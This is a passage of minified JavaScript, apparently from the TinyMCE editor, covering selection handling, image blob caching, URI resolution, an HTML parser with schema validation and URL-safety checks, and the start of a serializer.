i=c();if(e=s.fire("SetSelectionRange",{range:e,forward:t}).range,i){f=e;try{i.removeAllRanges(),i.addRange(e)}catch(e){}!1===t&&i.extend&&(i.collapse(e.endContainer,e.endOffset),i.extend(e.startContainer,e.startOffset)),l=0<i.rangeCount?i.getRangeAt(0):null}e.collapsed||e.startContainer!==e.endContainer||!i.setBaseAndExtent||xt.ie||e.endOffset-e.startOffset<2&&e.startContainer.hasChildNodes()&&(n=e.startContainer.childNodes[e.startOffset])&&"IMG"===n.tagName&&(i.setBaseAndExtent(e.startContainer,e.startOffset,e.endContainer,e.endOffset),i.anchorNode===e.startContainer&&i.focusNode===e.endContainer||i.setBaseAndExtent(n,0,n,1)),s.fire("AfterSetSelectionRange",{range:e,forward:t})}}},v={bookmarkManager:null,controlSelection:null,dom:o=a,win:u,serializer:e,editor:i=s,collapse:r,setCursorLocation:function(e,t){var n=a.createRng();V(e)&&V(t)?(n.setStart(e,t),n.setEnd(e,t),h(n),r(!1)):(Bl(a,n,s.getBody(),!0),h(n))},getContent:function(e){return n=(t=void 0===(t=e)?{}:t).format||"html",r=t,yh(s).selection.getContent(n,r);var t,n,r},setContent:t,getBookmark:function(e,t){return b.getBookmark(e,t)},moveToBookmark:function(e){return b.moveToBookmark(e)},select:function(e,t){var r=a,o=t;return ve.from(e).map(function(e){var t=r.nodeIndex(e),n=r.createRng();return n.setStart(e.parentNode,t),n.setEnd(e.parentNode,t+1),o&&(Bl(r,n,e,!0),Bl(r,n,e,!1)),n}).each(h),e},isCollapsed:function(){var e=p(),t=c();return!(!e||e.item)&&(e.compareEndPoints?0===e.compareEndPoints("StartToEnd",e):!t||e.collapsed)},isForward:n,setNode:function(e){return t(a.getOuterHTML(e)),e},getNode:function(){return function(e,t){if(!t)return e;var n=t.startContainer,r=t.endContainer,o=t.startOffset,i=t.endOffset,a=t.commonAncestorContainer;return!t.collapsed&&(n===r&&i-o<2&&n.hasChildNodes()&&(a=n.childNodes[o]),3===n.nodeType&&3===r.nodeType&&(n=n.length===o?Nd(n.nextSibling,!0):n.parentNode,r=0===i?Nd(r.previousSibling,!1):r.parentNode,n&&n===r))?n:a&&3===a.nodeType?a.parentNode:a}(s.getBody(),p())},getSel:c,setRng:h,getRng:p,getStart:function(e){return wd(s.getBody(),p(),e)},getEnd:function(e){return Sd(s.getBody(),p(),e)},getSelectedBlocks:function(e,t){return function(e,t,n,r){var o=[],i=e.getRoot();if(n=e.getParent(n||wd(i,t,t.collapsed),e.isBlock),r=e.getParent(r||Sd(i,t,t.collapsed),e.isBlock),n&&n!==i&&o.push(n),n&&r&&n!==r)for(var a,u=new Dr(n,i);(a=u.next())&&a!==r;)e.isBlock(a)&&o.push(a);return r&&n!==r&&r!==i&&o.push(r),o}(a,p(),e,t)},normalize:function(){var e=p();if(1<Al(c()).length||!Pl(s))return e;var t=Of(a,e);return t.each(function(e){h(e,n())}),t.getOr(e)},selectorChanged:function(e,t){return g(e,t),v},selectorChangedWithUnbind:g,getScrollContainer:function(){for(var e,t=a.getRoot();t&&"BODY"!==t.nodeName;){if(t.scrollHeight>t.clientHeight){e=t;break}t=t.parentNode}return e},scrollIntoView:function(e,t){V(e)?(s.inline?Zf:td)(s,e,t):nd(s,p(),t)},placeCaretAt:function(e,t){return h(Ef(e,t,s.getDoc()))},getBoundingClientRect:function(){var e=p();return e.collapsed?cs.fromRangeStart(e).getClientRects()[0]:e.getBoundingClientRect()},destroy:function(){u=l=f=null,y.destroy()}},b=Hl(v),y=Sf(v,s);function C(t,e){return M(e,function(e){return o.is(e,t)})}function x(e){return o.getParents(e,null,o.getRoot())}return v.bookmarkManager=b,v.controlSelection=y,v}function Uh(e,t){var n,r,a,u,o=ao();t.convert_fonts_to_spans&&(r=e,a=o,u=Nt.explode(t.font_size_legacy_values),r.addNodeFilter("font",function(e){Y(e,function(e){var t,n=a.parse(e.attr("style")),r=e.attr("color"),o=e.attr("face"),i=e.attr("size");r&&(n.color=r),o&&(n["font-family"]=o),i&&(n["font-size"]=u[parseInt(e.attr("size"),10)-1]),e.name="span",e.attr("style",a.serialize(n)),t=e,Y(["color","face","size"],function(e){t.attr(e,null)})})})),n=o,e.addNodeFilter("strike",function(e){Y(e,function(e){var t=n.parse(e.attr("style"));t["text-decoration"]="line-through",e.name="span",e.attr("style",n.serialize(t))})})}function zh(e){var t,n=decodeURIComponent(e).split(","),r=/data:([^;]+)/.exec(n[0]);return{type:t=r?r[1]:t,data:n[1]}}function Hh(e,t){var n;try{n=atob(t)}catch(e){return ve.none()}for(var r=new Uint8Array(n.length),o=0;o<r.length;o++)r[o]=n.charCodeAt(o);return ve.some(new Blob([r],{type:e}))}function jh(e){return 0===e.indexOf("blob:")?(o=e,new _r(function(e,t){function n(){t("Cannot convert "+o+" to Blob. Resource might not exist or is inaccessible.")}try{var r=new XMLHttpRequest;r.open("GET",o,!0),r.responseType="blob",r.onload=function(){200===r.status?e(r.response):n()},r.onerror=n,r.send()}catch(e){n()}})):0===e.indexOf("data:")?(n=e,new _r(function(e){var t=zh(n);Hh(t.type,t.data).fold(function(){return e(new Blob([]))},e)})):null;var o,n}function Vh(e){return(e||"blobid")+Yh++}function qh(r,d){var o={};return{findAll:function(e,n){n=n||w;var t=A(U(e?xe(e.getElementsByTagName("img")):[],function(e){var t=e.src;return xt.fileApi&&!e.hasAttribute("data-mce-bogus")&&!e.hasAttribute("data-mce-placeholder")&&t&&t!==xt.transparentSrc&&(0===t.indexOf("blob:")?!r.isUploaded(t)&&n(e):0===t.indexOf("data:")&&n(e))}),function(f){if(void 0!==o[f.src])return new _r(function(t){o[f.src].then(function(e){return"string"==typeof e?e:void t({image:f,blobInfo:e.blobInfo})})});var e=new _r(function(e,t){var r,o,i,n,a,u,s,c,l;r=d,i=e,n=t,0!==(o=f).src.indexOf("blob:")?(u=(a=zh(o.src)).data,s=a.type,c=u,(l=r.getByData(c,s))?i({image:o,blobInfo:l}):jh(o.src).then(function(e){l=r.create(Vh(),e,c),r.add(l),i({image:o,blobInfo:l})},function(e){n(e)})):(l=r.getByUri(o.src))?i({image:o,blobInfo:l}):jh(o.src).then(function(t){var n=t;new _r(function(e){var t=new FileReader;t.onloadend=function(){e(t.result)},t.readAsDataURL(n)}).then(function(e){c=zh(e).data,l=r.create(Vh(),t,c),r.add(l),i({image:o,blobInfo:l})})},function(e){n(e)})}).then(function(e){return delete o[e.image.src],e}).catch(function(e){return delete o[f.src],e});return o[f.src]=e});return _r.all(t)}}}function $h(e,t){return e.replace(t.re,function(e){return ue(t.uris,e).getOr(e)})}function Wh(e,t,n,r){(e.padd_empty_with_br||t.insert)&&n[r.name]?r.empty().append(new jd("br",1)).shortEnded=!0:r.empty().append(new jd("#text",3)).value=wo}function Kh(n,e,t,r){return r.isEmpty(e,t,function(e){return(t=n.getElementRule(e.name))&&t.paddEmpty;var t})}function Xh(e,p){var t,o,i,h=e.schema;function n(t){var e,n,r=t.attr("src");(e=t).attr("src")===xt.transparentSrc||V(e.attr("data-mce-placeholder"))||V(t.attr("data-mce-bogus"))||((n=/data:([^;]+);base64,([a-z0-9\+\/=\s]+)/i.exec(r))?ve.some({type:n[1],data:decodeURIComponent(n[2])}):ve.none()).filter(function(){return function(e,t){if(t.images_dataimg_filter){var n=new Image;return n.src=e.attr("src"),ne(e.attributes.map,function(e,t){n.setAttribute(t,e)}),t.images_dataimg_filter(n)}return!0}(t,o)}).bind(function(e){var t=e.type,n=e.data;return ve.from(i.getByData(n,t)).orThunk(function(){return Hh(t,n).map(function(e){var t=i.create(Vh(),e,n);return i.add(t),t})})}).each(function(e){t.attr("src",e.blobUri())})}p.remove_trailing_brs&&e.addNodeFilter("br",function(e,t,n){var r,o,i,a,u,s,c,l,f=e.length,d=Nt.extend({},h.getBlockElements()),m=h.getNonEmptyElements(),g=h.getWhiteSpaceElements();for(d.body=1,r=0;r<f;r++)if(i=(o=e[r]).parent,d[o.parent.name]&&o===i.lastChild){for(u=o.prev;u;){if("span"!==(s=u.name)||"bookmark"!==u.attr("data-mce-type")){"br"===s&&(o=null);break}u=u.prev}o&&(o.remove(),Kh(h,m,g,i)&&(c=h.getElementRule(i.name))&&(c.removeEmpty?i.remove():c.paddEmpty&&Wh(p,n,d,i)))}else{for(a=o;i&&i.firstChild===a&&i.lastChild===a&&!d[(a=i).name];)i=i.parent;a===i&&!0!==p.padd_empty_with_br&&((l=new jd("#text",3)).value=wo,o.replace(l))}}),e.addAttributeFilter("href",function(e){var t,n,r=e.length;if(!p.allow_unsafe_link_target)for(;r--;){var o=e[r];"a"===o.name&&"_blank"===o.attr("target")&&o.attr("rel",(n=void 0,n=(t=o.attr("rel"))?Nt.trim(t):"",/\b(noopener)\b/g.test(n)?n:n.split(" ").filter(function(e){return 0<e.length}).concat(["noopener"]).sort().join(" ")))}}),p.allow_html_in_named_anchor||e.addAttributeFilter("id,name",function(e){for(var t,n,r,o,i=e.length;i--;)if("a"===(o=e[i]).name&&o.firstChild&&!o.attr("href"))for(r=o.parent,t=o.lastChild;n=t.prev,r.insert(t,o),t=n;);}),p.fix_list_elements&&e.addNodeFilter("ul,ol",function(e){for(var t,n,r,o=e.length;o--;)"ul"!==(r=(n=e[o]).parent).name&&"ol"!==r.name||(n.prev&&"li"===n.prev.name?n.prev.append(n):((t=new jd("li",1)).attr("style","list-style-type: none"),n.wrap(t)))}),p.validate&&h.getValidClasses()&&e.addAttributeFilter("class",function(e){for(var t=h.getValidClasses(),n=e.length;n--;){for(var r=e[n],o=r.attr("class").split(" "),i="",a=0;a<o.length;a++){var u=o[a],s=!1,c=t["*"];c&&c[u]&&(s=!0),c=t[r.name],(s=!(s||!c||!c[u])||s)&&(i&&(i+=" "),i+=u)}i.length||(i=null),r.attr("class",i)}}),t=e,(i=(o=p).blob_cache)&&t.addAttributeFilter("src",function(e){return Y(e,n)})}var Yh=0,Gh=function(e,t){return e&&e.firstChild&&e.firstChild===e.lastChild&&e.firstChild.name===t},Jh=Nt.each,Qh=Nt.trim,Zh="source protocol authority userInfo user password host port relative path directory file query anchor".split(" "),ev={ftp:21,http:80,https:443,mailto:25},tv=["img","video"],nv=(rv.parseDataUri=function(e){var t,n=decodeURIComponent(e).split(","),r=/data:([^;]+)/.exec(n[0]);return{type:t=r?r[1]:t,data:n[1]}},rv.isDomSafe=function(e,t,n){if((n=void 0===n?{}:n).allow_script_urls)return!0;var r,o,i,a,u=Zo.decode(e).replace(/[\s\u0000-\u001F]+/g,"");try{u=decodeURIComponent(u)}catch(e){u=unescape(u)}return!(/((java|vb)script|mhtml):/i.test(u)||(o=u,i=t,!(r=n).allow_html_data_urls&&(/^data:image\//i.test(o)?(V(a=r.allow_svg_data_urls)?!a:!V(i)||!T(tv,i))&&/^data:image\/svg\+xml/i.test(o):/^data:/i.test(o))))},rv.getDocumentBaseUrl=function(e){var t=0!==e.protocol.indexOf("http")&&"file:"!==e.protocol?e.href:e.protocol+"//"+e.host+e.pathname;return/^[^:]+:\/\/\/?[^\/]+\//.test(t)&&(t=t.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,""),/[\/\\]$/.test(t)||(t+="/")),t},rv.prototype.setPath=function(e){var t=/^(.*?)\/?(\w+)?$/.exec(e);this.path=t[0],this.directory=t[1],this.file=t[2],this.source="",this.getURI()},rv.prototype.toRelative=function(e){var t;if("./"===e)return e;var n=new rv(e,{base_uri:this});if("mce_host"!==n.host&&this.host!==n.host&&n.host||this.port!==n.port||this.protocol!==n.protocol&&""!==n.protocol)return n.getURI();var r=this.getURI(),o=n.getURI();return r===o||"/"===r.charAt(r.length-1)&&r.substr(0,r.length-1)===o?r:(t=this.toRelPath(this.path,n.path),n.query&&(t+="?"+n.query),n.anchor&&(t+="#"+n.anchor),t)},rv.prototype.toAbsolute=function(e,t){var n=new rv(e,{base_uri:this});return n.getURI(t&&this.isSameOrigin(n))},rv.prototype.isSameOrigin=function(e){if(this.host==e.host&&this.protocol==e.protocol){if(this.port==e.port)return!0;var t=ev[this.protocol];if(t&&(this.port||t)==(e.port||t))return!0}return!1},rv.prototype.toRelPath=function(e,t){var n,r,o=0,i="",a=e.substring(0,e.lastIndexOf("/")).split("/"),u=t.split("/");if(a.length>=u.length)for(n=0,r=a.length;n<r;n++)if(n>=u.length||a[n]!==u[n]){o=n+1;break}if(a.length<u.length)for(n=0,r=u.length;n<r;n++)if(n>=a.length||a[n]!==u[n]){o=n+1;break}if(1===o)return t;for(n=0,r=a.length-(o-1);n<r;n++)i+="../";for(n=o-1,r=u.length;n<r;n++)i+=n!==o-1?"/"+u[n]:u[n];return i},rv.prototype.toAbsPath=function(e,t){var n,r,o=0,i=[],a=/\/$/.test(t)?"/":"",u=e.split("/"),s=t.split("/");for(Jh(u,function(e){e&&i.push(e)}),u=i,n=s.length-1,i=[];0<=n;n--)0!==s[n].length&&"."!==s[n]&&(".."!==s[n]?0<o?o--:i.push(s[n]):o++);return 0!==(r=(n=u.length-o)<=0?q(i).join("/"):u.slice(0,n).join("/")+"/"+q(i).join("/")).indexOf("/")&&(r="/"+r),a&&r.lastIndexOf("/")!==r.length-1&&(r+=a),r},rv.prototype.getURI=function(e){var t;return void 0===e&&(e=!1),this.source&&!e||(t="",e||(this.protocol?t+=this.protocol+"://":t+="//",this.userInfo&&(t+=this.userInfo+"@"),this.host&&(t+=this.host),this.port&&(t+=":"+this.port)),this.path&&(t+=this.path),this.query&&(t+="?"+this.query),this.anchor&&(t+="#"+this.anchor),this.source=t),this.source},rv);function rv(e,t){e=Qh(e),this.settings=t||{};var n,r,o,i,a=this.settings.base_uri,u=this;/^([\w\-]+):([^\/]{2})/i.test(e)||/^\s*#/.test(e)?u.source=e:(n=0===e.indexOf("//"),0!==e.indexOf("/")||n||(e=(a&&a.protocol||"http")+"://mce_host"+e),/^[\w\-]*:?\/\//.test(e)||(r=this.settings.base_uri?this.settings.base_uri.path:new rv(document.location.href).directory,e=this.settings.base_uri&&""==this.settings.base_uri.protocol?"//mce_host"+u.toAbsPath(r,e):(o=/([^#?]*)([#?]?.*)/.exec(e),(a&&a.protocol||"http")+"://mce_host"+u.toAbsPath(r,o[1])+o[2])),e=e.replace(/@@/g,"(mce_at)"),i=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?(\[[a-zA-Z0-9:.%]+\]|[^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e),Jh(Zh,function(e,t){var n=(n=i[t])&&n.replace(/\(mce_at\)/g,"@@");u[e]=n}),a&&(u.protocol||(u.protocol=a.protocol),u.userInfo||(u.userInfo=a.userInfo),u.port||"mce_host"!==u.host||(u.port=a.port),u.host&&"mce_host"!==u.host||(u.host=a.host),u.source=""),n&&(u.protocol=""))}function ov(e,t,n){for(var r=/<([!?\/])?([A-Za-z0-9\-_:.]+)/g,o=/(?:\s(?:[^'">]+(?:"[^"]*"|'[^']*'))*[^"'>]*(?:"[^">]*|'[^'>]*)?|\s*|\/)>/g,i=e.getShortEndedElements(),a=1,u=n;0!==a;)for(r.lastIndex=u;;){var s=r.exec(t);if(null===s)return u;if("!"===s[1]){u=Ge(s[2],"--")?sv(t,!1,s.index+"!--".length):sv(t,!0,s.index+1);break}o.lastIndex=r.lastIndex;var c=o.exec(t);if(!l(c)&&c.index===r.lastIndex){"/"===s[1]?--a:Ee(i,s[2])||(a+=1),u=r.lastIndex+c[0].length;break}}return u}function iv(q,$){void 0===$&&($=oo()),q=q||{};var W=uv(),K=W.createElement("form");function n(s,e){void 0===e&&(e="html");for(var t,i,n,c,r,o,a,l,u,f,d,m,g,p,h,v,b,y,C,x=s.html,w=0,S=[],N=0,E=Zo.decode,k=Nt.makeMap("src,href,data,background,action,formaction,poster,xlink:href"),_="html"===e?0:1,A=function(e){for(var t,n=S.length;n--&&S[n].name!==e;);if(0<=n){for(t=S.length-1;n<=t;t--)(e=S[t]).valid&&Q(e.name);S.length=n}},R=function(e,t){return G($h(e,s),t)},D=function(e){""!==e&&(">"===e.charAt(0)&&(e=" "+e),q.allow_conditional_comments||"[if"!==e.substr(0,3).toLowerCase()||(e=" "+e),X($h(e,s)))},T=function(e,t){var n=e||"",r=!Ge(n,"--"),o=sv(x,r,t);return e=x.substr(t,o-t),D(r?n+e:e),o+1},O=new RegExp("<(?:(?:!--([\\w\\W]*?)--!?>)|(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|(?:![Dd][Oo][Cc][Tt][Yy][Pp][Ee]([\\w\\W]*?)>)|(?:!(--)?)|(?:\\?([^\\s\\/<>]+) ?([\\w\\W]*?)[?/]>)|(?:\\/([A-Za-z][A-Za-z0-9\\-_\\:\\.]*)>)|(?:([A-Za-z][A-Za-z0-9\\-_:.]*)(\\s(?:[^'\">]+(?:\"[^\"]*\"|'[^']*'))*[^\"'>]*(?:\"[^\">]*|'[^'>]*)?|\\s*|\\/)>))","g"),B=/([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:[^\"])*)\")|(?:\'((?:[^\'])*)\')|([^>\s]+)))?/g,P=$.getShortEndedElements(),L=q.self_closing_elements||$.getSelfClosingElements(),I=$.getBoolAttrs(),M=q.validate,F=q.remove_internals,U=q.fix_self_closing,z=$.getSpecialElements(),H=x+">";t=O.exec(H);){var j=t[0];if(w<t.index&&R(E(x.substr(w,t.index-w))),i=t[7])A(i=":"===(i=i.toLowerCase()).charAt(0)?i.substr(1):i);else if(i=t[8]){if(t.index+j.length>x.length){R(E(x.substr(t.index))),w=t.index+j.length;continue}u=(i=":"===(i=i.toLowerCase()).charAt(0)?i.substr(1):i)in P,U&&L[i]&&0<S.length&&S[S.length-1].name===i&&A(i);var V=function(e,t){var n=e.exec(t);if(n){var r=n[1],o=n[2];return"string"==typeof r&&"data-mce-bogus"===r.toLowerCase()?o:null}return null}(B,t[9]);if(null!==V){if("all"===V){w=ov($,x,O.lastIndex),O.lastIndex=w;continue}d=!1}if(!M||(f=$.getElementRule(i))){if(d=!0,M&&(p=f.attributes,h=f.attributePatterns),(g=t[9])?((l=-1!==g.indexOf("data-mce-type"))&&F&&(d=!1),(c=[]).map={},g.replace(B,function(e,t,n,r,o){return function(e,t,n,r,o){var i;if(n=$h((t=t.toLowerCase())in I?t:E(n||r||o||""),s),M&&!l&&0==(0===(i=t).indexOf("data-")||0===i.indexOf("aria-"))){var a=p[t];if(!a&&h){for(var u=h.length;u--&&!(a=h[u]).pattern.test(t););-1===u&&(a=null)}if(!a)return;if(a.validValues&&!(n in a.validValues))return}("name"===t||"id"===t)&&e in av&&(n in W||n in K)||k[t]&&!nv.isDomSafe(n,e,q)||l&&(t in k||0===t.indexOf("on"))||(c.map[t]=n,c.push({name:t,value:n}))}(i,t,n,r,o),""})):(c=[]).map={},M&&!l){if(v=f.attributesRequired,b=f.attributesDefault,y=f.attributesForced,f.removeEmptyAttrs&&!c.length&&(d=!1),y)for(r=y.length;r--;)a=(m=y[r]).name,"{$uid}"===(C=m.value)&&(C="mce_"+N++),c.map[a]=C,c.push({name:a,value:C});if(b)for(r=b.length;r--;)(a=(m=b[r]).name)in c.map||("{$uid}"===(C=m.value)&&(C="mce_"+N++),c.map[a]=C,c.push({name:a,value:C}));if(v){for(r=v.length;r--&&!(v[r]in c.map););-1===r&&(d=!1)}if(m=c.map["data-mce-bogus"]){if("all"===m){w=ov($,x,O.lastIndex),O.lastIndex=w;continue}d=!1}}d&&J(i,c,u)}else d=!1;if(n=z[i]){n.lastIndex=w=t.index+j.length,w=(t=n.exec(x))?(d&&(o=x.substr(w,t.index-w)),t.index+t[0].length):(o=x.substr(w),x.length),d&&(0<o.length&&R(o,!0),Q(i)),O.lastIndex=w;continue}u||(g&&g.indexOf("/")===g.length-1?d&&Q(i):S.push({name:i,valid:d}))}else if(i=t[1])D(i);else if(i=t[2]){if(!(1==_||q.preserve_cdata||0<S.length&&$.isValidChild(S[S.length-1].name,"#cdata"))){w=T("",t.index+2),O.lastIndex=w;continue}Y(i)}else if(i=t[3])ee(i);else{if((i=t[4])||"<!"===j){w=T(i,t.index+j.length),O.lastIndex=w;continue}if(i=t[5]){if(1!=_){w=T("?",t.index+2),O.lastIndex=w;continue}Z(i,t[6])}}w=t.index+j.length}for(w<x.length&&R(E(x.substr(w))),r=S.length-1;0<=r;r--)(i=S[r]).valid&&Q(i.name)}!1!==q.fix_self_closing&&(q.fix_self_closing=!0);var X=q.comment||te,Y=q.cdata||te,G=q.text||te,J=q.start||te,Q=q.end||te,Z=q.pi||te,ee=q.doctype||te;return{parse:function(e,t){void 0===t&&(t="html"),n(function(e){for(var t,n=/data:[^;<"'\s]+;base64,([a-z0-9\+\/=\s]+)/gi,r=[],o={},i=wu("img"),a=0,u=0;t=n.exec(e);){var s=t[0],c=i+"_"+u++;o[c]=s,a<t.index&&r.push(e.substr(a,t.index-a)),r.push(c),a=t.index+s.length}var l=new RegExp(i+"_[0-9]+","g");return 0===a?{prefix:i,uris:o,html:e,re:l}:(a<e.length&&r.push(e.substr(a)),{prefix:i,uris:o,html:r.join(""),re:l})}(e),t)}}}var av=Nt.makeMap("button,fieldset,form,iframe,img,image,input,object,output,select,textarea"),uv=Re(function(){return document.implementation.createHTMLDocument("parser")}),sv=function(e,t,n){void 0===n&&(n=0);var r=e.toLowerCase();if(-1!==r.indexOf("[if ",n)&&(u=n,/^\s*\[if [\w\W]+\]>.*<!\[endif\](--!?)?>/.test(r.substr(u)))){var o=r.indexOf("[endif]",n);return r.indexOf(">",o)}if(t){var i=r.indexOf(">",n);return-1!==i?i:r.length}var a=/--!?>/g;a.lastIndex=n;var u,s=a.exec(e);return s?s.index+s[0].length:r.length};function cv(A,R){void 0===R&&(R=oo());var D={},T=[],O={},B={};(A=A||{}).validate=!("validate"in A)||A.validate,A.root_name=A.root_name||"body";function P(e){var t=e.name;t in D&&((r=O[t])?r.push(e):O[t]=[e]);for(var n=T.length;n--;){var r,o=T[n].name;o in e.attributes.map&&((r=B[o])?r.push(e):B[o]=[e])}return e}var e={schema:R,addAttributeFilter:function(e,n){Rv(Dv(e),function(e){for(var t=0;t<T.length;t++)if(T[t].name===e)return void T[t].callbacks.push(n);T.push({name:e,callbacks:[n]})})},getAttributeFilters:function(){return[].concat(T)},addNodeFilter:function(e,n){Rv(Dv(e),function(e){var t=D[e];t||(D[e]=t=[]),t.push(n)})},getNodeFilters:function(){var e,t=[];for(e in D)Ee(D,e)&&t.push({name:e,callbacks:D[e]});return t},filterNode:P,parse:function(e,s){var t,n,r,o,i,c,a,l,f=[];function d(e){for(var t=R.getBlockElements(),n=e.prev;n&&3===n.type;){var r=n.value.replace(w,"");if(0<r.length)return n.value=r,0;var o=n.next;if(o){if(3===o.type&&o.value.length){n=n.prev;continue}if(!t[o.name]&&"script"!==o.name&&"style"!==o.name){n=n.prev;continue}}var i=n.prev;n.remove(),n=i}}s=s||{},O={},B={};function m(e,t){var n,r=new jd(e,t);return e in D&&((n=O[e])?n.push(r):O[e]=[r]),r}var g=Tv(Av("script,style,head,html,body,title,meta,param"),R.getBlockElements()),p=no(R),h=R.getNonEmptyElements(),v=R.children,b=A.validate,u=("forced_root_block"in s?s:A).forced_root_block,y=!1===u?"":!0===u?"p":u,C=R.getWhiteSpaceElements(),x=/^[ \t\r\n]+/,w=/[ \t\r\n]+$/,S=/[ \t\r\n]+/g,N=/^[ \t\r\n]+$/,E=Ee(C,s.context)||Ee(C,A.root_name),k=iv({validate:b,document:A.document,allow_html_data_urls:A.allow_html_data_urls,allow_svg_data_urls:A.allow_svg_data_urls,allow_script_urls:A.allow_script_urls,allow_conditional_comments:A.allow_conditional_comments,preserve_cdata:A.preserve_cdata,self_closing_elements:function(e){var t,n={};for(t in e)"li"!==t&&"p"!==t&&(n[t]=e[t]);return n}(R.getSelfClosingElements()),cdata:function(e){l.append(m("#cdata",4)).value=e},text:function(e,t){var n,r;E||(e=e.replace(S," "),(r=l.lastChild)&&(Ee(g,r.name)||"br"===r.name)&&(e=e.replace(x,""))),0!==e.length&&((n=m("#text",3)).raw=!!t,l.append(n).value=e)},comment:function(e){l.append(m("#comment",8)).value=e},pi:function(e,t){l.append(m(e,7)).value=t,d(l)},doctype:function(e){l.append(m("#doctype",10)).value=e,d(l)},start:function(e,t,n){var r=b?R.getElementRule(e):{};if(r){var o=m(r.outputName||e,1);o.attributes=t,o.shortEnded=n,l.append(o);var i=v[l.name];i&&v[o.name]&&!i[o.name]&&f.push(o);for(var a=T.length;a--;){var u=T[a].name;u in t.map&&((c=B[u])?c.push(o):B[u]=[o])}g[e]&&d(o),n||(l=o),!E&&C[e]&&(E=!0)}},end:function(e){var t,n,r,o,i=b?R.getElementRule(e):{};if(i){if(g[e]&&!E){if((t=l.firstChild)&&3===t.type)if(0<(n=t.value.replace(x,"")).length)t.value=n,t=t.next;else for(r=t.next,t.remove(),t=r;t&&3===t.type;)n=t.value,r=t.next,0!==n.length&&!N.test(n)||(t.remove(),t=r),t=r;if((t=l.lastChild)&&3===t.type)if(0<(n=t.value.replace(w,"")).length)t.value=n,t=t.prev;else for(r=t.prev,t.remove(),t=r;t&&3===t.type;)n=t.value,r=t.prev,0!==n.length&&!N.test(n)||(t.remove(),t=r),t=r}E&&C[e]&&(E=!1);var a=Kh(R,h,C,l),u=l.parent;i.paddInEmptyBlock&&a&&function(){for(var e=l;V(e);){if(e.name in p)return Kh(R,h,C,e);e=e.parent}}()?Wh(A,s,g,l):i.removeEmpty&&a?g[l.name]?l.empty().remove():l.unwrap():i.paddEmpty&&(Gh(o=l,"#text")&&o.firstChild.value===wo||a)&&Wh(A,s,g,l),l=u}}},R),_=l=new jd(s.context||A.root_name,11);if(k.parse(e,s.format),b&&f.length&&(s.context?s.invalid=!0:function(e){for(var t=Av("tr,td,th,tbody,thead,tfoot,table"),n=R.getNonEmptyElements(),r=R.getWhiteSpaceElements(),o=R.getTextBlockElements(),i=R.getSpecialElements(),a=function(e,t){if(void 0===t&&(t=e.parent),i[e.name])e.empty().remove();else{for(var n=0,r=e.children();n<r.length;n++){var o=r[n];R.isValidChild(t.name,o.name)||a(o,t)}e.unwrap()}},u=0;u<e.length;u++){var s,c=e[u],l=void 0,f=void 0;if(c.parent&&!c.fixed)if(o[c.name]&&"li"===c.parent.name){for(var d=c.next;d&&o[d.name];)d.name="li",d.fixed=!0,c.parent.insert(d,c.parent),d=d.next;c.unwrap()}else{for(var m=[c],l=c.parent;l&&!R.isValidChild(l.name,c.name)&&!t[l.name];l=l.parent)m.push(l);if(l&&1<m.length)if(R.isValidChild(l.name,c.name)){m.reverse();for(var g=s=P(m[0].clone()),p=0;p<m.length-1;p++){R.isValidChild(g.name,m[p].name)?(f=P(m[p].clone()),g.append(f)):f=g;for(var h=m[p].firstChild;h&&h!==m[p+1];){var v=h.next;f.append(h),h=v}g=f}Kh(R,n,r,s)?l.insert(c,m[0],!0):(l.insert(s,m[0],!0),l.insert(c,s)),l=m[0],(Kh(R,n,r,l)||Gh(l,"br"))&&l.empty().remove()}else a(c);else c.parent&&("li"!==c.name?R.isValidChild(c.parent.name,"div")&&R.isValidChild("div",c.name)?c.wrap(P(new jd("div",1))):a(c):!(d=c.prev)||"ul"!==d.name&&"ol"!==d.name?!(d=c.next)||"ul"!==d.name&&"ol"!==d.name?c.wrap(P(new jd("ul",1))):d.insert(c,d.firstChild,!0):d.append(c))}}}(f)),y&&("body"===_.name||s.isRootContent)&&function(){function e(e){e&&((t=e.firstChild)&&3===t.type&&(t.value=t.value.replace(x,"")),(t=e.lastChild)&&3===t.type&&(t.value=t.value.replace(w,"")))}var t=_.firstChild,n=null;if(R.isValidChild(_.name,y.toLowerCase())){for(;t;){var r=t.next;3===t.type||1===t.type&&"p"!==t.name&&!g[t.name]&&!t.attr("data-mce-type")?(n||((n=m(y,1)).attr(A.forced_root_block_attrs),_.insert(n,t)),n.append(t)):(e(n),n=null),t=r}e(n)}}(),!s.invalid){for(a in O)if(Ee(O,a)){for(c=D[a],o=(t=O[a]).length;o--;)t[o].parent||t.splice(o,1);for(n=0,r=c.length;n<r;n++)c[n](t,a,s)}for(n=0,r=T.length;n<r;n++)if((c=T[n]).name in B){for(o=(t=B[c.name]).length;o--;)t[o].parent||t.splice(o,1);for(o=0,i=c.callbacks.length;o<i;o++)c.callbacks[o](t,c.name,s)}}return _}};return Xh(e,A),A.inline_styles&&Uh(e,A),e}function lv(e,t,n){-1===Nt.inArray(t,n)&&(e.addAttributeFilter(n,function(e,t){for(var n=e.length;n--;)e[n].attr(t,null)}),t.push(n))}function fv(L,I){var e=["data-mce-selected"],M=I&&I.dom?I.dom:eu.DOM,F=I&&I.schema?I.schema:oo(L);L.entity_encoding=L.entity_encoding||"named",L.remove_trailing_brs=!("remove_trailing_brs"in L)||L.remove_trailing_brs;var t,U=cv(L,F),s=L,c=M;return(t=U).addAttributeFilter("data-mce-tabindex",function(e,t){for(var n=e.length;n--;){var r=e[n];r.attr("tabindex",r.attr("data-mce-tabindex")),r.attr(t,null)}}),t.addAttributeFilter("src,href,style",function(e,t){for(var n="data-mce-"+t,r=s.url_converter,o=s.url_converter_scope,i=e.length;i--;){var a=e[i],u=a.attr(n);void 0!==u?(a.attr(t,0<u.length?u:null),a.attr(n,null)):(u=a.attr(t),"style"===t?u=c.serializeStyle(c.parseStyle(u),a.name):r&&(u=r.call(o,u,t,a.name)),a.attr(t,0<u.length?u:null))}}),t.addAttributeFilter("class",function(e){for(var t=e.length;t--;){var 